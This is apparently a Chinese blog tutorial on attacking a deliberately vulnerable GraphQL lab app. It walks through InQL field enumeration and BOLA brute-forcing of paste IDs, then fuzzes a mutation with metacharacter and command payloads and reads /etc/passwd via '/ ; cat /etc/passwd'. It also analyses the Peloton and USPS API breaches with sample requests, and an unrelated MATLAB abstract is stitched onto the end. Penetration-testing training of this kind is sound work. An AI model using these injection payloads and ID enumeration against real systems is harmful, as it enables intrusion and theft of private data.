28、探索GraphQL API攻击与数据泄露案例

探索GraphQL API攻击与数据泄露案例

1. GraphQL数据请求与InQL扩展使用

在GraphQL中,我们可以自由地对自己的字段进行实验。完整的请求体示例如下:

query {
    pastes (public: true) {
        title
        content
        public
        ipAddr
        pId
    }
}

执行请求时,可使用“Execute Query”按钮或快捷键 CTRL - ENTER 。若操作正确,会收到类似如下的响应:

{
    "data": {
        "pastes": [
            {
                "id": "UGFzdGVPYmplY3Q6MTY4",
                "content": "testy",
                "ipAddr": "192.168.195.133",
                "pId": "166"
            },
            {
                "id": "UGFzdGVPYmplY3Q6MTY3",
                "content": "McTester",
                "ipAddr": "192.168.195.133",
                "pId": "165"
            }
        ]
    }
}

当目标上没有GraphiQL IDE时,可借助Burp Suite的InQL扩展。安装步骤如下:
1. 在Extender选项中选择Jython(安装Jython的具体步骤可参考相关指引)。
2. 安装InQL后,选择InQL Scanner并添加目标GraphQL API的URL。
3. 扫描器会自动查找各种查询和突变,并将它们保存到文件结构中。之后可选择这些保存的请求并发送到Repeater进行额外测试。

2. 对GraphQL的授权攻击(BOLA攻击)

paste.query 为例,它用于通过粘贴ID(pID)代码查找粘贴内容。若在Web应用中发布过公共粘贴,就能看到pID值。我们可尝试对pID字段进行授权攻击,请求本应是私有的pID,这属于BOLA攻击。具体操作步骤如下:
1. 右键单击 paste.query 并发送到Repeater。
2. 将代码值替换为有效的pID,例如166。
3. 使用Repeater发送请求,会收到类似如下的响应:

{
    "data": {
        "paste": {
            "owner": {
                "id": "T3duZXJPYmplY3Q6MQ=="
            },
            "burn": false,
            "Owner": {
                "id": "T3duZXJPYmplY3Q6MQ=="
            },
            "userAgent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Firefox/78.0",
            "pId": "166",
            "title": "test3",
            "ownerId": 1,
            "content": "testy",
            "ipAddr": "192.168.195.133",
            "public": true,
            "id": "UGFzdGVPYmplY3Q6MTY2"
        }
    }
}

若能通过pID请求粘贴内容,可尝试暴力破解其他pID,查看是否存在授权限制阻止访问其他用户的私有帖子。操作如下:
1. 将 paste 请求发送到Intruder。
2. 设置pID值为有效负载位置。
3. 将有效负载更改为从0到166的数值,然后启动攻击。
审查结果会发现BOLA漏洞,能获取到私有数据,例如:

{
    "data": {
        "paste": {
            "owner": {
                "id": "T3duZXJPYmplY3Q6MQ=="
            },
            "burn": false,
            "Owner": {
                "id": "T3duZXJPYmplY3Q6MQ=="
            },
            "userAgent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Firefox/78.0",
            "pId": "63",
            "title": "Imported Paste from URL - b9ae5f",
            "ownerId": 1,
            "content": "<!DOCTYPE html>\n<html lang=en> ",
            "ipAddr": "192.168.195.133",
            "public": false,
            "id": "UGFzdGVPYmplY3Q6NjM="
        }
    }
}
3. 模糊测试命令注入

对API进行分析后,可进行模糊测试以查找漏洞。由于大多数GraphQL请求即使格式不正确也会返回200状态码,因此需寻找其他成功指标。具体步骤如下:
1. 选择一个突变请求,如 Mutation ImportPaste 请求,用Burp Suite拦截。
2. 将请求发送到Repeater,查看预期响应,例如:

{
    "data": {
        "importPaste": {
            "result": "<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n<TITLE>301 Moved</TITLE></HEAD><BODY>\n<H1>301 Moved</H1>\nThe document has moved\n<AHREF=\"http://www.google.com/\">here</A>.\n</BODY></HTML>\n"
        }
    }
}
  1. 将请求转发到Intruder,查看请求体:
{
    "query": "mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme: String!) {\n        importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\nresult\n        }\n        }",
    "variables": {
        "host": "google.com",
        "port": 80,
        "path": "/",
        "scheme": "http"
    }
}
  1. variables 部分放置有效负载位置,例如:
"variables": {
    "host": "google.com§test§§test2§",
    "port": 80,
    "path": "/",
    "scheme": "http"
}
  1. 配置两个有效负载集:
    • 第一个有效负载集使用元字符示例:
|
||
&
&&
'
"
;
'"
- 第二个有效负载集使用潜在注入有效负载示例:
whoami
{"$where": "sleep(1000) "}
;%00
-- -
  1. 确保禁用有效负载编码。
  2. 先对 host 变量运行攻击,结果可能较为统一,无异常情况。
  3. 再对 path 变量运行攻击,会收到不同的响应代码和长度,且有成功执行代码的迹象。审查响应会发现 path 变量易受操作系统注入攻击,例如能执行 whoami 命令,显示用户为 root ,表明应用运行在Linux主机上。可更新第二个有效负载集,包含 uname -a ver 命令来确定操作系统。发现操作系统后,可进行更有针对性的攻击以获取系统敏感信息,例如将 path 变量替换为 /; cat /etc/passwd
{
    "variables": {
        "scheme": "http",
        "path": "/ ; cat /etc/passwd",
        "port": 80,
        "host": "test.com"
    },
    "query": "mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme: String!) {\n        importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\n          result\n        }\n      }"
}

发送请求后,会收到包含 /etc/passwd 文件内容的响应,如下:

{
    "data": {
        "importPaste": {
            "result": "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>301 Moved Permanently</title>\n</head><body>\n<h1>Moved Permanently</h1>\n<p>The document has moved <a href=\"https://test.com/\">here</a>.</p>\n</body></html>\nroot:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nnsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nnsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nutmp:x:100:406:utmp:/home/utmp:/bin/false\n"
        }
    }
}
4. 真实世界的API数据泄露案例

在实际应用中,API漏洞可能导致严重的数据泄露问题。以下是两个典型案例:
| 案例名称 | 数据数量 | 数据类型 | 漏洞情况 |
| ---- | ---- | ---- | ---- |
| Peloton | 超过三百万Peloton订阅者 | 用户ID、位置、年龄、性别、体重和锻炼信息 | 未认证的API用户可通过三种方式获取敏感用户数据:向 /stats/workouts/details 端点发送请求、向 /api/user/search 功能发送请求以及进行未认证的GraphQL请求。 |
| USPS Informed Visibility API | 约六千万暴露的USPS用户 | 电子邮件、用户名、实时包裹更新、邮寄地址、电话号码 | USPS认证用户可查询任何USPS账户详细信息,API接受通配符查询,且存在过度数据暴露问题,请求地址数据时会返回该地址的所有记录。 |

下面是Peloton数据泄露攻击流程的mermaid流程图:

graph LR
    A[攻击者] --> B[/stats/workouts/details端点请求]
    A --> C[/api/user/search功能请求]
    A --> D[未认证GraphQL请求]
    B --> E[获取用户锻炼详情]
    C --> F[获取用户个人信息]
    D --> G[获取用户ID、用户名和位置]

这些案例表明,应用的安全性取决于最薄弱的环节。即使应用采用了强大的防火墙、多因素认证和零信任架构,但如果API安全未得到保障,仍会存在安全漏洞。因此,在进行黑客攻击时,可利用常见的API弱点来获取优势。同时,组织应重视API安全测试,通过漏洞赏金计划或渗透测试等方式,及时发现并修复API漏洞,避免数据泄露等安全事件的发生。

探索GraphQL API攻击与数据泄露案例

5. Peloton数据泄露详细分析

Peloton数据泄露事件中,攻击者可通过三种方法获取敏感用户数据,下面详细介绍每种方法:
- /stats/workouts/details端点 :该端点本意是根据用户ID提供用户的锻炼详情,用户可选择隐私选项隐藏数据,但该功能未正常工作,任何消费者都能获取数据。攻击者在POST请求体中指定用户ID,就能收到包含用户年龄、性别、用户名、锻炼ID、Peloton ID以及隐私状态的响应。示例请求如下:

POST /stats/workouts/details HTTP/1.1
Host: api.onepeloton.co.uk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
{"ids":["10001","10002","10003","10004","10005","10006"]}

攻击者可通过暴力破解或从Web应用中收集用户ID。
- 用户搜索功能 :用户搜索功能存在业务逻辑缺陷,对 /api/user/search/:<username> 端点的GET请求会暴露用户的个人信息,包括个人资料图片URL、位置、ID、隐私状态和社交信息(如粉丝数量),任何人都能利用该数据暴露功能。
- GraphQL请求 :多个GraphQL端点允许攻击者发送未认证请求,示例请求如下:

{
    "query": "query SharedTags($currentUserID: ID!) {  User: user(id: \"currentUserID\") {__typename\n  id\n  location\n  } }",
    "variables": { "currentUserID": "REDACTED" }
}

攻击者可将 REDACTED 用户ID作为有效负载位置,暴力破解用户ID以获取私有用户数据。

6. USPS Informed Visibility API数据泄露详细分析

USPS Informed Visibility API数据泄露事件中,存在多个安全问题:
- 认证与查询问题 :该API本是为认证用户提供近实时邮件数据,但任何有访问权限的认证用户都能查询任何USPS账户详情,且API接受通配符查询。攻击者可使用类似 /api/v1/find?email=*@gmail.com 的查询获取特定用户的数据。
- 过度数据暴露 :请求地址数据时,API会返回该地址的所有记录。示例请求如下:

POST /api/v1/container/status
Token: UserA
{
    "street": "475 L' Enfant Plaza SW",
    "city": "Washington DC"
}

可能的响应如下:

{
    "street": "475 L' Enfant Plaza SW",
    "City": "Washington DC",
    "customer": [
        {
            "name": "Rufus Shinra",
            "username": "novp4me",
            "email": "rufus@shinra.com",
            "phone": "123-456-7890"
        },
        {
            "name": "Professor Hojo",
            "username": "sep-father",
            "email": "prof@hojo.com",
            "phone": "102-202-3034"
        }
    ]
}

该事件表明,组织在进行安全评估时,应重视API安全,避免类似的安全漏洞。

下面是USPS Informed Visibility API数据泄露攻击流程的mermaid流程图:

graph LR
    A[攻击者] --> B[使用通配符查询]
    A --> C[请求地址数据]
    B --> D[获取特定用户数据]
    C --> E[获取地址所有记录]
7. 总结与建议

通过上述GraphQL API攻击和数据泄露案例的分析,我们可以得出以下结论和建议:
- 技术适应性 :GraphQL与之前的REST API操作方式不同,但我们可以调整一些方法,将已掌握的技术应用到GraphQL攻击中。遇到新的API类型时,不要害怕,要积极学习其工作原理,尝试运用已学的API攻击技术。
- 组织安全测试 :组织应重视API安全测试,可通过漏洞赏金计划或渗透测试等方式,全面检测API的安全漏洞。例如,USPS的安全评估未关注API,导致数据泄露事件发生。
- 持续探索 :示例中的应用可能还有其他未被发现的漏洞,建议读者回到实验环境中继续探索和利用这些漏洞,提升自己的攻击和防御能力。

总之,API安全至关重要,无论是开发者还是安全测试人员,都应不断学习和实践,保障API的安全性,防止数据泄露等安全事件的发生。在未来的工作中,我们要时刻关注API安全动态,及时发现并修复潜在的安全隐患。

【电能质量扰动】基于ML和DWT的电能质量扰动分类方法研究(Matlab实现)内容概要:本文研究了一种基于机器学习(ML)和离散小波变换(DWT)的电能质量扰动分类方法,并提供了Matlab实现方案。首先利用DWT对电能质量信号进行多尺度分解,提取信号的时频域特征,有效捕捉电压暂降、暂升、中断、谐波、闪变等常见扰动的关键信息;随后结合机器学习分类器(如SVM、BP神经网络等)对提取的特征进行训练分类,实现对不同类型扰动的自动识别准确区分。该方法充分发挥DWT在信号去噪特征提取方面的优势,结合ML强大的模式识别能力,提升了分类精度鲁棒性,具有较强的实用价值。; 适合人群:电气工程、自动化、电力系统及其自动化等相关专业的研究生、科研人员及从事电能质量监测分析的工程技术人员;具备一定的信号处理基础和Matlab编程能力者更佳。; 使用场景及目标:①应用于智能电网中的电能质量在线监测系统,实现扰动类型的自动识别;②作为高校或科研机构在信号处理、模式识别、电力系统分析等课程的教学案例或科研实验平台;③目标是提高电能质量扰动分类的准确性效率,为后续的电能治理设备保护提供决策依据。; 阅读建议:建议读者结合Matlab代码深入理解DWT的实现过程特征提取步骤,重点关注小波基选择、分解层数设定及特征向量构造对分类性能的影响,并尝试对比不同机器学习模型的分类效果,以全面掌握该方法的核心技术要点。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值